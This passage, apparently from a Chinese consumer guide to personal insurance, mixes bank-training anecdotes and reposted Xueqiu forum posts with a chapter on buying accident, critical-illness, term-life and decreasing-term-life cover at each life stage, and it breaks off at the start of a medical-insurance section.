　　3．规章制度课上，老师放网点的录像：从网点门口冲进来一大妈，抡起塑料袋砸向理财柜柜员。柜员和她就对骂，双方对扔小物品。后被网点负责人与大堂经理制止。经询问，起因是理财柜柜员前一天推销了几十万保险给大妈。回家被家人知道了，一说，把大妈点着了。看来只有在现金柜里的人比较安全，在外面的员工也有绳命危险啊。理财柜唯一的武器其实是后面那把 18 档的大算盘，可以当盾牌使。

　　4．理财课上，老师举例：某客户在柜台办理什么业务，柜员办理业务时需要查询账户，发现其其活期账户里有 800 多万存款，就成功推销了 700 多万保险和信托。网点立刻获得 20 多万手续费收入，该员工当月奖金增加 1 万多。

　　作为 CFA 的考生，需要遵守 CFA 道德准则，把客户利益放在第一位，其次是股东利益，最后才是自身。这也是我自己的道德观。所以，看到人家卖的保单，自己实在很不忍把这种东西卖给客户。人真实需要的保险其实是财险那一类的，国内的寿险实在太多太多，并不是真实需求，都是销售端考核指标压出来的结果。

9．保险&保险股，哪个更重要？

　　酱骨架，个人投资者，发布于 2013/05/29

　　原帖链接：http://xueqiu.com/3134884839/23988381

　　今天有空，说说保险。

　　国人对保险的误解很深，原因不探究了。令我比较惊讶的是雪球里的不少投资者对保险的理解也是收益率太低，不如买股票投资。

　　保险是理财的一部分，买股票讲究分散投资，同理，理财也是需要分散的，比如房产，比如股票，比如定期存款，当然也有保险。

　　保险的本质是保障，看投资收益是很大的误导。保障包括寿险的保障（人 OVER 了，保险公司赔），包括重疾（患重疾，保险公司给钱）、意外等等。

　　保险的本质是杠杆。我举个简单的我的例子，前阵子我加了保险，100 万寿险保额，50 万重疾保额，每年缴 6000 多，缴 20 年。大家可以算算这笔账，万一不好用上了这个保险，是不是用每年固定预算的一笔钱去撬动几十万上百万的东东。

　　保险是防守，股票是进攻。都要有，攻守平衡才是制胜之道。

　　有人说买可以放心睡觉的股票，我的经验是如果我发现我有保障缺口，那么我一定要补上保险，否则我睡不着觉。

　　保障缺口是什么意思？举个例子，假如张三（张三，对不起了）有 100 万的贷款要还，那么他要买 100 万保额的寿险，防范的是张三突然驾鹤西去的时候，老婆孩子可以拿到 100 万继续还贷款，这是确定的。你可以说股市投资也可以做这个事，但那是不确定的。再比如保障缺口还包括重疾，假设张三患重疾了，那么张三需要一笔钱治病，如果张三运气好可以治愈，那么有几年，张三不敢搏命赚钱，赚钱的能力会比之前少很多，老婆孩子甚至父母咋办，那么他是不是要多买点重疾险呢？比如买个 100 万，那么治病花去 30 万，还剩 70 万，让家人的生活不被改变。

　　保险不是让你大富大贵，而是让你的生活比较确定，不被突如其来的风险搞的面目全非。

　　保险是金融三驾马车之一，也是最开放的一个领域。因此竞争也是最激烈的，我不感觉银行竞争激烈，至少赶不上保险。

　　保险为啥天天开早会，唱歌，跳舞，喊口号，互相激励：你是最棒的。为啥呢？难呗，不这样做，一天都坚持不下来。

　　平安的财报我看不懂，也提不起兴趣看，但是在好多地方，把国寿打得满地找牙，国寿年年都在为保市场份额而奋斗，但是总是不断地被攻陷。

　　本人也被保险代理人忽悠过，年纪轻轻就买了投连险，过了几个月，代理人就离开了这个行业。同时本人目前在国内最大的保险网做，认识太多友邦、平安、国寿的内外勤，这个行业值得更多人尊重，代理人值得更多人尊重，特别是在理赔的那一刻，代理人和客户相拥而泣的场景并不罕见。

　　买保险股远远没有买保险重要。投不投平安不重要，但是如果您还没有买保险，我强烈建议您去了解一下保险

　　祝大家攻守平衡，家庭幸福。

10．MH17 这样的惨剧，保险赔不赔呢？

　　王晨劼，吉力金融理财公司总经理，发布于 2014/07/19

　　原帖链接：http://xueqiu.com/4261336539/30301535

　　航空惨剧在今年连续两次发生在马航身上，这家马来西亚国企可能真的应该重组，倒不是因为赔偿太多，而是应该换换运气了……但最惨的还是机上的乘客和机务人员，生命非常得脆弱。而谈到这个话题，有朋友问说，那这事情保险会怎么处理呢？若是真的是被导弹打下来的，保险公司会不会承保呢？

　　首先，这里所做的都是假设。以 MH370 为例，至今定性为航空意外，所以乘客的意外保险和人寿保险都会赔偿，而机务人员则免除意外保险的赔偿，人寿依然赔——当然机务人员应该都买了专门的机务人员保险等。但若是真的 MH17 是被军事行动打下来的，那情况则不同了。我们看下香港和内地的保险会怎么处理。

　　无论是内地还是香港的意外保险，均有这么一条在不保事项当中：

　　战争，军事行动，暴乱或武装叛乱（使用军事力量）

　　所以照着意外保险的合同而言，若是真的牵涉到了军事行动，理论上两地的意外保险都是不保的。

　　而若是人寿保险（包括重疾保险等）呢？在国内的重疾保险中依然找到这条不保事项：

　　战争、军事冲突、暴乱或武装叛乱；

　　而香港的重疾保险（包括人寿）除了一年内自杀以外，均没有对身故有任何的不保事项的定义。若是一年内自杀，则会退还所有已交保费给予受益人。

　　换言之，若是真的牵涉到军事力量导致的惨案，理论上大陆的人寿保险（包括重疾）依然不赔偿，而香港则会按照身故来赔偿相关保额。

　　这个仅仅是用来科普大家关于保险不保事项的内容，期望 MH17 的惨案至少能够真相大白。另外，为何上述均用“理论上”来表达呢？因为通常遇到比较巨大的灾难，有时保险公司其实还是会处于人情来赔偿的，哪怕原本是属于不保事项的。

你的第一本保险指南

如何给自己买保险

　　人生无法规划，但保险可以。

　　我不了解你的情况，不知道姓甚名谁，结没结婚；也不知道你的收入如何，是否负债；更无从了解哪位家人对你来说最重要。所以，我很难直接给你一个适合你的保险方案。

　　但我可以确定的是，你的年龄一定在 18~50 岁。如果年龄低于 18 岁，买保险这件事你得找父母；如果年龄大于 50 岁，则会面临各种各样的限制，你很难买到理想、充足的商业保险。

　　我还可以确定，下面这几条一定和你想的一样：

　　你不希望让治病支出掏空自己的积蓄；你内心一定有一位最牵挂的人，不管是父母、伴侣，还是孩子；你一定在事业上有所追求，不管这份追求是否和钱有关。

　　所以作为本书最有指导意义的一部分内容，我想了很久，最后打算以一个男性为例，沿着他的人生轨迹，向你展示如何科学合理地为自己配置保险。

18 岁

　　进入大学后，你也许会在开学那几天无意间瞥见宿舍楼门口的一张桌子，桌旁的两个保险公司业务员正在向路过的新生发宣传单：欢迎参加大学生保险计划。

　　这种面向高校学生的保险，业界俗称“学平险”，它往往是团体保险的形式，涵盖意外身故/残疾、意外医疗、住院医疗等责任，每年的保费只有一两百元。

　　关于保险这件事，你也可以去问问学院办公室里负责学生工作的老师，是否可以通过他们为自己购买商业保险。没关系，他们通常是刚刚毕业的师兄师姐，不会为难你。他们一定会对你这位新生留下格外深刻的印象，因为几乎没有人在入学时关心买保险这件事。

　　通过学校购买保险，通常能获得更低的价格。团险好比团购，价格当然更优惠。但不幸的是，学校团险这项业务曾一度成为腐败的温床，以致 2015 年财政部一纸令下：严禁各级各类学校代收商业保险费，不允许保险公司进校设点推销、销售商业保险。

　　所以，上网买份意外险和医疗险吧。毕竟学生手头没什么钱，网上投保的产品手续费往往更低。

　　大学生的身份首先意味着你要开始担负起成年人的责任，从每年花一点儿钱，投保一份商业保险做起吧。当你在篮球场上意外扭伤脚踝甚至骨折的时候，保险可以帮你负担医疗费。

18 岁保险清单

　　学生团体保险：

　　包含意外身故/伤残责任，意外医疗责任，住院医疗责任；预算为 200 元。

　　或自己投保：

　　意外险：包含意外身故/伤残责任，意外医疗责任；预算为 200 元（保额为 50 万元）。

　　医疗险：包含疾病导致的住院医疗责任，预算为 200 元。

保障速览

　　身故补偿（仅限意外原因）：50 万元。

　　意外医疗补偿：1 万元（上限）。

　　住院医疗补偿：100 万元（上限）。

22 岁

　　毕业后走上工作岗位，你的生活状态发生了根本变化。你需要搭乘交通工具频繁穿行于城市各处，或者经常出差，交通意外的风险不容忽视。一份涵盖意外身故和医疗责任的意外险，每年所需的保费不会高于你往返机场的出租车车费。

　　有孝心的年轻人可能会把自己第一个月的工资交给父母，但他们却很少思考一个问题：如果自己不幸离世，父母的养老问题由谁解决。

　　虽然已经有了包含意外身故责任的意外险，但在导致身故的原因中，意外只占 20%。把疾病带来的身故风险解决掉，让保险公司的理赔款成为爸妈的养老金，可以说是一种非常有效的风险防范手段。选购一份定期寿险，意义重大。

　　更重要的是，对二十岁出头的年轻人来说，定期寿险非常便宜，用几百元钱即可撬动几十万元的保额。女性投保的费率几乎是男性费率的一半，更加划算。买一份定期寿险，受益人设为父母，这是无形的孝心，更有价值。

新增保险情况

　　定期寿险 A：受益人为父母，保额大约相当于父母 5 年的退休金；预算为每年 500 元（保额 50 万元，保障期 30 年，缴费期 30 年）。

保障速览

　　身故补偿（不限死亡原因）：50 万元。

　　额外身故补偿（仅限意外原因）：50 万元。

　　意外医疗补偿：1 万元（上限）。

　　住院医疗补偿：100 万元（上限）。

28 岁

　　不管是相恋多年的恋人，还是几个月前偶遇的缘分，你终于不再是一个人了。成家后的你迫切需要重新考虑风险规划，不仅为自己，更是为家庭。对那个“一人吃饱全家不饿”的自己说再见，就从保险开始。

　　对一个家庭来说，称得上灭顶之灾的只有两件事：身患重疾，不幸身故。前者靠重大疾病险和医疗险来应对，后者靠定期寿险来应对。

　　如果不幸罹患重疾，失去的收入需要通过重大疾病险来弥补，保额通常为 3~4 倍的年薪。按 15 万元的年薪计算，保额初步定为 50 万元。

　　如果不幸离世，除父母外，配偶也是你不可忽视的牵挂。新增一份保额为 80 万元（约等于 5 倍年薪）的定期寿险，确保退休（60 岁）前享有保障很有必要。

新增保险情况

　　定期寿险 B：受益人为法定受益人，保额约等于 5 倍年薪；

　　预算为每年 1000 元（保额 80 万元，保到 60 岁，缴费期 30 年）。

　　重大疾病险 A：保额约等于购买时的 3 倍年薪；预算为每年 5000 元（保额 50 万元，保到 70 岁，缴费期 30 年）。

保障速览

　　身故补偿（不限死亡原因）：130 万元。

　　额外身故补偿（仅限意外原因）：50 万元。

　　意外医疗补偿：1 万元（上限）。

　　住院医疗补偿：100 万元（上限）。

　　重大疾病补偿：50 万元。

32 岁

　　奋斗多年，终成房奴。150 万元的房贷，不仅意味着每月 8000 元的刚性支出，更意味着潜在的负债风险。倘若你不幸离世，还款压力将由配偶一人承担。

　　当你的年薪从 15 万元变为 25 万元，重疾险的 50 万元保额已经不够用了。趁着身体还算健康，额外投保一份 30 万元保额的含身故责任的重疾险。

新增保险情况

　　意外险：包含意外身故/伤残责任；预算为每年 400 元（保额 100 万元）。

　　减额定期寿险 C：受益人为法定受益人，保额等于房贷总额；预算为每年 2000 元（保额 150 万元，保障期 30 年，缴费期 20 年）。

　　重大疾病险 B：提升重疾保额；预算为每年 5000 元（保额 30 万元，保终身，缴费期 30 年）。

保障速览

　　身故补偿（不限死亡原因）：130 万元。

　　额外身故补偿（仅限意外原因）：150 万元。

　　意外医疗补偿：1 万元（上限）。

　　住院医疗补偿：100 万元（上限）。

　　重大疾病补偿：80 万元。

34 岁

　　有了孩子，你的第一感觉是：肩上的担子更重了。已经购买的三份定期寿险，分别是为了父母的养老、配偶的生活、房贷的偿还，现在你需要为孩子买一份定期寿险了。

　　即将迈入 35 岁门槛的你，也是时候关心自己的养老问题了。每个月强制购买一部分养老保险，可以帮你达到自律式储蓄的目的。此外，部分商业养老保险具备税收递延功能，可以缓解个人所得税的压力。

新增保险情况

　　定期寿险 D：受益人为子女，保额相当于孩子 5 年的生活费；预算为每年 4000 元（保额 100 万元，保到 60 岁，缴费期 20 年）。

　　养老保险（60 岁领取）：预算为每年 60000 元（每月 5000 元）。

保障速览

　　意外险：包含意外身故/伤残责任，意外医疗责任；预算为每年 200 元（保额 50 万元）。

　　意外险：包含意外身故/伤残责任；预算为每年 400 元（保额 100 万元）。

　　医疗险：包含疾病导致的住院医疗责任；预算为每年 200 元。定期寿险 A：受益人为父母，保额相当于父母 5 年的退休金；预算为每年 500 元（保额 50 万元，保障期 30 年，缴费期 30 年）。

　　定期寿险 B：受益人为法定受益人，保额相当于自己 5 倍的年薪。预算为每年 1000 元（保额 80 万元，保到 60 岁，缴费期 30 年）。

　　减额定期寿险 C：受益人为法定受益人，保额等于房贷总额；预算为每年 2000 元（保额 150 万元，保障期 30 年，缴费期 20 年）。

　　定期寿险 D：受益人为子女，保额相当于孩子 5 年的生活费；预算为每年 4000 元（保额 100 万元，保到 60 岁，缴费期 20 年）。

　　重大疾病险 A：保额相当于自己当时的 3 倍年薪；预算为每年 5000 元（保额 50 万元，保到 70 岁，缴费期 30 年）。重大疾病险 B：提升重疾险保额；预算为每年 5000 元（保额 30 万元，保终身，缴费期 30 年）。

　　养老保险（60 岁领取）：预算为每年 60000 元（每月 5000 元）。

　　至此，你大概终于明白了：给自己买保险，不能一蹴而就，应随着人生进入不同阶段而分步实施。在这个过程中，我们需要对自己的情感进行再分配，说到底就是，回答“为谁买保险”的问题。比如，涉及医疗补偿的保险（如住院医疗险、重大疾病险），是为了让自己不至于被疾病掏空腰包；再比如，涉及身故补偿的保险（如定期寿险、意外险），是为了让家人能够继续维持原来的生活水准。

　　考虑到正在阅读这本书的你基本为 18~50 岁，所以上文的模拟案例适用于你。而且，不管你是单身还是已婚，也不管你有没有孩子，我可以肯定地说：中产阶级“四大保险金刚”，是每个人都应该配置的。只不过因每个人具体的角色不同，不同产品的重要性对其有所不同罢了。

重大疾病险：为了不被改变的人生

　　重疾险的诞生，本质上是为了解决收入中断的风险，站在患者及其家人的角度，为已在重病深渊的家庭提供雪中送炭般的经济补偿。

　　1983 年，南非心脏外科医师巴纳德（Marius Barnard）发现，其救治的上百位心脏或器官移植病人，虽然经过艰苦卓绝的治疗活了下来，但他们的家庭在财务上却已经“宣告死亡”了。

　　高昂的治疗费用，好歹可以通过国家医保解决一部分。但漫长的治疗周期，足以令家庭在数年时间内失去收入来源，治疗康复期间在理疗、营养上的花销，对于整个家庭的财务状况来说更是雪上加霜。

　　医生可以挽救病人的生命，却无法挽救一个家庭的“财务生命”。这种从业经历带给巴纳德医生的影响十分深刻，以至于他做出了一个影响整个保险行业的决定：联合保险公司，为这类身患重大疾病的患者提供风险保障。这就是重大疾病险的源起。巴纳德和保险公司开发的重疾险，最初只保障 4 种疾病：心肌梗死、冠状动脉搭桥术、恶性肿瘤和脑中风。

　　重疾险的诞生，本质上是为了解决收入中断的风险，站在患者及其家人的角度，为已在重病深渊的家庭提供雪中送炭般的经济补偿。

　　20 世纪 90 年代，重疾险首次进入中国，在 20 多年的时间里，它已发展成为个人和家庭风险保障体系里的重要产品，即使对保险不太了解的人，也大都知道有一种保险叫重疾险。从 2016 年开始，在百度搜索的关键词中，重疾险成为搜索次数最多的保险产品名称，排在意外险、寿险、医疗险之前。我希望你能对重疾险有清晰的认识，让它成为你的朋友。

重疾险究竟保什么

　　顾名思义，重大疾病险以是否罹患重大疾病作为保障责任。但问题是，什么叫“重大疾病”？什么叫“罹患”？

　　在第 1 章回答“保险赔不赔”的文章里，我简单介绍了重大疾病的定义。2006 年之前，保险业关于重大疾病的标准并不统一，由于各家保险公司的定义存在差别，引发了不少纠纷案件，这促使保监会下决心制定适用于全行业的重疾定义及规范。

　　保监会安排中国保险行业协会和中国医师协会，在 2007 年拿出了一版 25 种重疾标准，囊括所有高发重疾类型（其实，只要是重疾险就都包括这 25 种）。放眼全球，我国的重疾险疾病定义规范化这项工作做得一点儿也不差。第一，我们借鉴的是 2006 年由英国保险行业协会发布的最新版《重大疾病保险最佳操作指引》，可以说是珠玉在前。第二，统一重疾险分类的国家，其实只有英国、新加坡和马来西亚等为数不多的国家。而在许多人热捧的中国香港保险市场上，各家保险公司对重大疾病的描述都有差别。

　　这里需要强调一下，保监会设定的这 25 种重大疾病，其发生概率超过 95% 的疾病种类。所以评价重疾险的好坏时，千万不能盲目地只关注疾病的病种数量。这就好比拜金女傍大款。大款 A 身价 1 亿元，大款 B 身价 1 亿零 100 万元，大款 A 相当于囊括 25 种重疾的产品，大款 B 相当于囊括 100 种重疾的产品。

　　这时对拜金女来说，A 和 B100 万元的身价差异其实一点儿也不重要，重要的是什么呢？谁长得更帅（是否有轻症责任），谁的妈妈脾气更好（是否有身故责任），谁愿意把房产证改成你的名字（产品定价高不高，这可能是最重要的）。说到底，当其他各项对比条件一致时，再去看重疾种类才有意义，否则只会因小失大。

　　说完了什么叫重大疾病，我们再来说说什么叫“罹患”。在重疾险的理赔中，符合“罹患”要求的有三种情况。

　　第一，病情达到某个标准，相当于确诊即赔，比如恶性肿瘤：

　　指恶性细胞不受控制地进行增长和扩散，浸润和破坏周围正常组织，可以经血管、淋巴管和体腔扩散转移到身体其他部位的疾病。经病理学检查结果明确诊断，临床诊断属于世界卫生组织《疾病和有关健康问题的国际统计分类》的恶性肿瘤范畴。

　　第二，投保人为治疗某种疾病而接受了某种治疗方法。比如心脏瓣膜手术：

　　为治疗心脏瓣膜疾病，实际实施了开胸进行的心脏瓣膜置换或修复的手术。

　　第三，某种状态持续了一段时间。比如脑中风后遗症：

　　指因脑血管的突发病变引起脑血管出血、栓塞或梗死，并导致神经系统永久性的功能障碍。神经系统永久性的功能障碍，指疾病确诊 180 天后，仍遗留下列一种或一种以上障碍：

　　·一肢或一肢以上的肢体机能完全丧失；

　　·语言能力或咀嚼吞咽能力完全丧失；

　　·自主生活能力完全丧失，无法独立完成六项基本日常活动中的三项或三项以上。

　　所以，如果谁对你说重疾险是确诊即赔的，那他显然理解得过于简单了。

除了重大疾病，重疾险还保这些

　　我们买东西时，经常不自觉地贪大求全，似乎产品的功能越多越好。然而就好比智能手机功能再多，老人也大多只用它来打电话。

　　当重疾险的责任只有重大疾病时，消费者理所当然地提出了一个振聋发聩的问题：如果我一辈子没得重疾，这保费岂不是白交了？

　　好，为了不让你白交，保险公司索性增加了很多其他责任，“顺便”提升了保费。买卖双方都高兴，这种商业模式堪称完美。

　　在新增的责任里，第一类是“身故责任”。这种包含身故责任的重疾险，基本上都可以“提前给付”。所谓“提前给付”，并不是“我比别的重疾险赔付得快”，这里的提前指的是重疾、身故二者中哪个先发生，就给付哪个。所以，提前给付不过是一种产品设计罢了，千万别觉得它是一项独特的优势。

　　第二类新增责任是轻症和中症责任。轻症和中症这两个词虽然拗口，但显然是相对于重症而言的。一辈子都没得病，消费者对自己白交保费有意见。如果一辈子得的病没有严重到重大疾病的程度呢？比如原位癌，作为癌症的早期阶段，原位癌相对容易治愈，属于轻症的一种。这时，消费者虽然很庆幸自己及早发现了癌症并且治愈，但没拿到保险公司的赔偿却心有不甘。对此，保险公司表示，没关系，我们赔付给你。重疾险的保额是多少，10 万元？好的，轻症赔付你 3 万元，中症赔付你 5 万元。但是，保费你得多交。

　　第三类新增责任是针对重大疾病的花样赔付方式。比如重疾和轻症可以赔付多次，又比如挑出某几个病种额外赔付 50% 的保额，再比如投保后前 10 年享受保额额外增加 50%，等等。

　　限于篇幅，在此我们先不分析这些花样赔付方式，你只需要知道一个道理：所有的赔付方式都是对风险的定价，然后把溢价加到原有价格中，就是这么简单。

　　另外，我得强调一点，我绝不反对大家选择责任丰富的重疾险，而是希望大家坚守一个前提：选择重大疾病险时，最重要的是做到保额满足需要。

　　请你回顾一下“麦当劳理论”。作为重疾险的核心功能，重大疾病责任就是巨无霸汉堡里的牛肉饼，少了这块肉饼，它就不能被称作巨无霸。其他的辅料，比如酸黄瓜（身故责任）、培根（多次赔付）、沙拉酱（轻症、中症）、西生菜（投保人豁免）等，都只是锦上添花。

　　只要牛肉饼够吃，其他的辅料，有钱就加，没钱不加也没什么关系。

重疾险的保额及其他

　　年收入 20 万元的小王，重疾险的保额应该是多少呢？

　　这个问题没有正确答案，但有正确的思路。患重疾后，患者普遍面临的是 35 年的治疗康复期，与此同时，重疾导致收入中断将为家庭带来更大的压力。因此，重疾险的保额应至少覆盖投保人 35 年的收入。所以，对于小王来说，60 万元的重疾险保额一点儿也不多。收入没了，房贷还得还，银行可不管你是否得病；孩子和家人的正常生活也要继续，更不用说治病本身的高昂开销了。只要确保这款重疾险能提供 60 万元的重疾保额，有没有身故责任、多次赔付、投保人豁免，都无关紧要。

　　说完保额，接下来我们来聊聊重疾险应该保障多久和交多少年保费。

　　讨论这个问题有一个前提：我们选择的是长期产品。关于长期与短期的问题，我在第 2 章已经分析过了，对于重疾险、定期寿险，可以保终身或者保到 70 岁左右的长期产品，是我们的首选——不仅价格更划算，也不会出现保险中断的情况。

　　长期重疾险的缴费期往往有多种选择，既可以选择趸交（一次性交完），也可以选择 10 年交、20 年交，少数产品甚至还设计了 30 年交的方式。

　　作为消费者，你完全不用纠结，因为不管你选择何种方式，对于保险公司来说都一样。当我们把不同保额和不同保障期限组合后，得到的保费金额是确定的。不管是 20 年交还是 30 年交，都相当于分期支付了这笔保费。分期时间越长，每期所需缴纳的保费就越少。

　　和缴费期限相比，对消费者来说，最大的难点其实在于如何确定保障期限。

　　保障期限的延长，会带来保费的升高。没办法，一个人年龄越大，罹患重疾的概率就越高。如果预算充足，保终身当然是最好的选择。但如果我一时半会儿拿不出那么多钱，有没有什么权宜之计呢？

　　当然有。在确保保额充足的情况下，我们可以把保额拆成两个产品来实现，一个保到退休，另一个保终身。比如，对于需要 60 万元重疾险保额的小王来说，可以选择买一份保终身的 30 万元保额的重疾险，再买一份保到 70 岁的 30 万元保额的重疾险。这比直接购买一份保终身的 60 万元保额的重疾险，花费更少。这种终身险和定期险搭配购买的方法，一方面可以解决人生关键时期（退休前）的风险问题，另一方面可以确保步入老年后也有保障。

定期寿险：解决人生中最大的风险

　　站着是一台印钞机，躺下是一堆人民币。

　　——“槽叔现代汉语大辞典”对“中产阶级”的名词解释

　　“人世间最可悲的事是什么呢？人死了，钱没花完。”这是小沈阳在央视春晚舞台上说过的一句“名言”。

　　中国保险市场长期以来被各种各样的“槽点”围绕。其中有一个笑话是：人都死了，你还给我钱干什么！明摆着骗我呢。

　　所以，纯粹以死亡为责任的简单寿险产品，一直没什么市场。消费者很难理解寿险存在的意义：我都死了，你还给我钱干什么？天底下还有比这更可笑的事情吗？

　　除了不被认可这个原因之外，保费低、产品佣金不高，就连保险业务员都不喜欢这类产品，缺乏销售的动力。

　　消费者不喜欢，业务员不愿意卖，以至于定期寿险在中国市场的日子就是这么不好过。好在通过互联网的宣传和介绍，越来越多的人开始认识和接受这类产品。这类最符合保险本义的产品，终于有机会回到保险行业的聚光灯下。

为中产阶级量身打造

　　如果说重疾险的赌注是病，寿险的赌注就是命。定期寿险赌的则是一段时间的命。比如投保人于 30 年内身故，受益人即可获得理赔款。一般的定期寿险，除了保障身故，还会把全残也视作与身故等同的责任。

　　定期寿险在美国的普及，一定程度上与美国中产阶级的崛起有关。社会学家米尔斯对中产阶级这个群体有过非常到位的评价：他们大多没有自己独立经营的财产，而往往作为高级雇员为拥有大型资本的人工作。因此从财产方面说，他们的地位和普通劳动者一样，但从职业收入方面看，他们又处在中间层级，所以 middle class 也可以翻译成“中等收入阶级”。由于没有财富积累和生产资料，中产阶级的抗风险能力偏低，尤其是身故风险。

　　人们往往认为定期寿险仅限家庭顶梁柱购买，这种略显大男子主义的表述，其实并不准确。

　　当你走出校园，成为一名以工作换取报酬的自力更生的人，不管你是男是女，是否结婚生子，都意味着你开始背负一定的责任了。

　　单身的人理应关心父母的养老问题，新婚的人会增加对另一半的考虑，有了孩子后，责任更重。处于不同人生阶段的人，至少会面临父母养老、伴侣和孩子生活开支等问题中的一个。因此，人人都应该有一份定期寿险，这句话一点儿也不夸张。

　　这里需要额外强调一点。谈到身故风险，很多人会联想到意外险，因为它不是也有身故保障吗？

　　意外险只保障由于意外导致的身故。通俗地说，如果是意外造成的死亡，就赔；如果是疾病造成的死亡，则不赔。

如何选购定期寿险？

　　确定保额是关键性的第一步。保额的高低，决定了投保人身故后他的妻子、父母或者孩子能拿到多少补偿。定期寿险的保额，主要取决于三个因素。

　　一是个人和家庭的债务额度，比如房贷、车贷等，确保一方身故后，债务不转嫁到另一方或父母身上。 我家的月供是 15000 元，这笔钱如果让我太太一个人承担，压力实在太大了。

　　二是家庭成员的基本生活成本。 如果家庭每年的开销为 20 万元，那么身故理赔金至少应为 100 万元，以负担家庭未来 5—10 年的基本生活开销。

　　三是父母的养老支出。 这笔费用的计算逻辑和上一个类似。

　　假如一个家庭的负债和开支情况如下所示，我们就可以算出大致的保额需求。

　　房贷：200 万元；

　　车贷：20 万元；

　　家庭 5 年开支合计：15 万元×5 年=75 万元；

　　父母年龄都为 60 岁，按照 85 岁的预计寿命，养老金为每人每年 4 万元，总计 200 万元；

　　合计：495 万元。

　　因此，他的定期寿险保额应为 500 万元左右。如果因为预算不足负担不起这么高的保额，可以根据优先级排序，先解决最迫切的风险，比如房贷，起码要做到身故后家人无债一身轻。

　　定期寿险还要考虑的问题是保障期限。到底要保到多大年龄呢？我个人建议，以退休年龄为标准，60 岁或 70 岁皆可。至于缴费年限的选择，我建议尽可能拉长，20 年交或 30 年交皆可。缴费年限越长，年均保费越低，从而做到用尽可能少的钱去撬动尽可能高的保额。

　　保额、保障期限和缴费年限都确定后，我们在选购具体产品时，还要格外关注三个方面：

　　第一，核保是否宽松。这是最重要的，因为如果健康告知非常严格，想买也买不了，何谈其他？比如，有的定期寿险不接受乙肝小三阳患者，有的不接受高危职业从业者。所以我们一定要弄清楚投保要求再买，尽量避免理赔时的潜在纠纷，才能真正做到安心。

　　第二，除外责任多不多。前文在分析如何阅读保险条款的时候，专门强调要关注除外责任。比如，有的定期寿险明确指出，因为战争、军事暴乱导致的死亡，它们概不负责。那么，对于去中东、非洲等地区旅游或工作的中国人来说，这种定期寿险就得慎重考虑购买了。

　　第三，价格低不低。如果上面几条标准比较起来都差不多，问题就变简单了：哪个产品便宜就选择哪个。这种以死亡为给付标准的产品，本质上就是一锤子买卖，理赔又相对简单，所以价格优势就是最后的“王炸”了。

当定期寿险为房贷而生

　　在贷款买房越来越普及的现代社会，最愿意看到定期寿险普及的其实是银行。

　　道理很简单：银行是出借方，万一还款人不幸身故，还款的不确定性就会立即增大。如果真发生了严重的还贷逾期，按理说银行可以收回房子，毕竟房子是抵押物。但实际操作时这种做法往往不太可行。所以，银行希望通过定期寿险这类产品，把贷款人的身故风险转嫁给保险公司。

　　这其实是一件三方获利的事情：保险公司获得了保费，银行收回了贷款，借款人则可以确保房屋不会被收回。

　　但遗憾的是，这件事一直没做起来。原因其实就在于借款人的一句话：你凭什么强制卖给我保险？此话一出，这件事只好作罢。在客户面前，银行和保险公司有时也算是弱势群体。

　　针对房贷风险，保险行业专门设计了一款保险，名字叫作减额定期寿险。顾名思义，减额定期寿险就是保额递减的定期寿险。

　　房贷一族应该都清楚，不管你的还款方式是等额本息还是等额本金，随着还款越来越多，每年的贷款余额就会不断减少。那么，有没有一款定期寿险，保额也随着房贷余额递减呢？

　　保额越低，保费就越少。初始保额为 150 万元的减额定期寿险，我们把最大值（150 万元）和最小值（5 万元）相加以后除以 2，相当于获得了一款保额为 75 万元的普通定期寿险。这样一来，价格也可以降低一半。对预算不多的房贷一族来说，这种产品设计真的很贴心。

　　其实减额定期寿险并不是什么新产品，2005 年至今，中国保险市场上出现过 10 多款减额定期寿险产品，只在形态上稍有差别。

　　这里还有一点需要注意：减额定期寿险的应用场景仅限于房贷。前文介绍的普通定期寿险才是基础，而减额定期寿险只能起到锦上添花的作用，毕竟“保额逐渐降低”这个设计只符合房贷余额的变化趋势，而不符合我们的收入变化趋势——明明赚得越来越多，保额怎么能越来越低呢？

拉长定期寿险，即可得到终身寿险

　　请想象货架上的一个商品，名为“70 岁以后的身故补偿”。产品介绍是：当你年逾古稀后不幸身故，本产品可以帮你偿还房贷，向你的父母提供一笔赡养费用，向你的子女提供可使用多年的教育金。

　　可是如果你仔细一想：不对啊，70 多岁的人哪还有上述需求。这个商品听起来吸引力也不大。不过，只要价格合理，买一个也无妨。我们现在来猜一猜，在保额相同的情况下，终身寿险比定期寿险贵多少？

　　答案是：终身寿险的价格是保到 60 岁的寿险的 5 倍，是保到 70 岁的寿险的 3 倍。如果你对此还是没什么概念，咱们可以直接算笔账。

　　同样的 100 万元保额，以 30 岁的男性为例，保到 60 岁，价格大约为 3000 元；保到 70 岁，价格大约为 5000 元。但如果选择保终身，价格就变成了 15000 元左右。大家嘴上说着要保终身，但最诚实的可能还是我们的钱包。

　　终身寿险虽然贵，但有独一无二的价值，否则保险公司为何要开发这类产品。

　　比如，假设某天你摇身一变，成了一名有离异史的亿万富翁，对现任妻子所生的女儿与前任妻子所生的儿子，你想分别给他们留 1000 万元作为遗产，该怎么做？

　　给他们各买一套房？房产市场存在各种限购政策，价格也不断波动，如果你的孩子是未成年人，房产证上还要写上监护人的名字。

　　给他们各留一些股权？股权转让相当复杂，而且考虑到企业控制权和其他股东的利益，它并不是一个人就能决定的。

　　给他们各制订一份信托计划？家族信托设立门槛高，而且要负担相当可观的管理费，并非人人适用。

　　所以，对于有一定身家的高净值人群来说，终身寿险是当下可供选择的、非常重要的财富传承手段之一。它等同于将一笔定额遗产以理赔款的形式，在未来某个时间段支付给指定的受益人。

　　有钱人的世界我们不懂，买好自己的定期寿险才是当务之急。

　　在中国，定期寿险的普及还有相当长的一段路要走。

　　举个真实的例子。大学师兄向我咨询保险的时候，对于定期寿险非常不理解。

　　槽叔：你给你在北京的房子买个家财险，一年到头也没被水淹，更没有遭遇地震、爆炸等事件，我看你也没抱怨什么。

　　师兄：因为家财险便宜啊，一年才 200 多元！

　　槽叔：那你的车险呢？奥迪 A6L 每年的车险就 1 万多元，但一年到头没出险也没理赔，我看你还是没什么怨言。

　　师兄：……

　　槽叔：你看，你都愿意花好几千元买串佛珠挂在汽车后视镜上，不妨每年交 3000 多元的保费，就当保平安了。

　　也许这句话触动了他，这位师兄最后投保了一份 200 万元保额的定期寿险。

商业医疗险：让高额医疗开支不再可怕

　　插管后 ICU（重症监护病房）的费用直线上升。预计插管能顶 72 小时，如果还不行，就要上人工肺了。人工肺开机费 6 万元，之后每天 2 万元起。我们估算了一下，家里所有的理财产品（还好没有买 30 天以上期限的产品）、股票卖掉，再加上岳父岳母留下来养老的钱，理想情况下能撑 30—40 天。

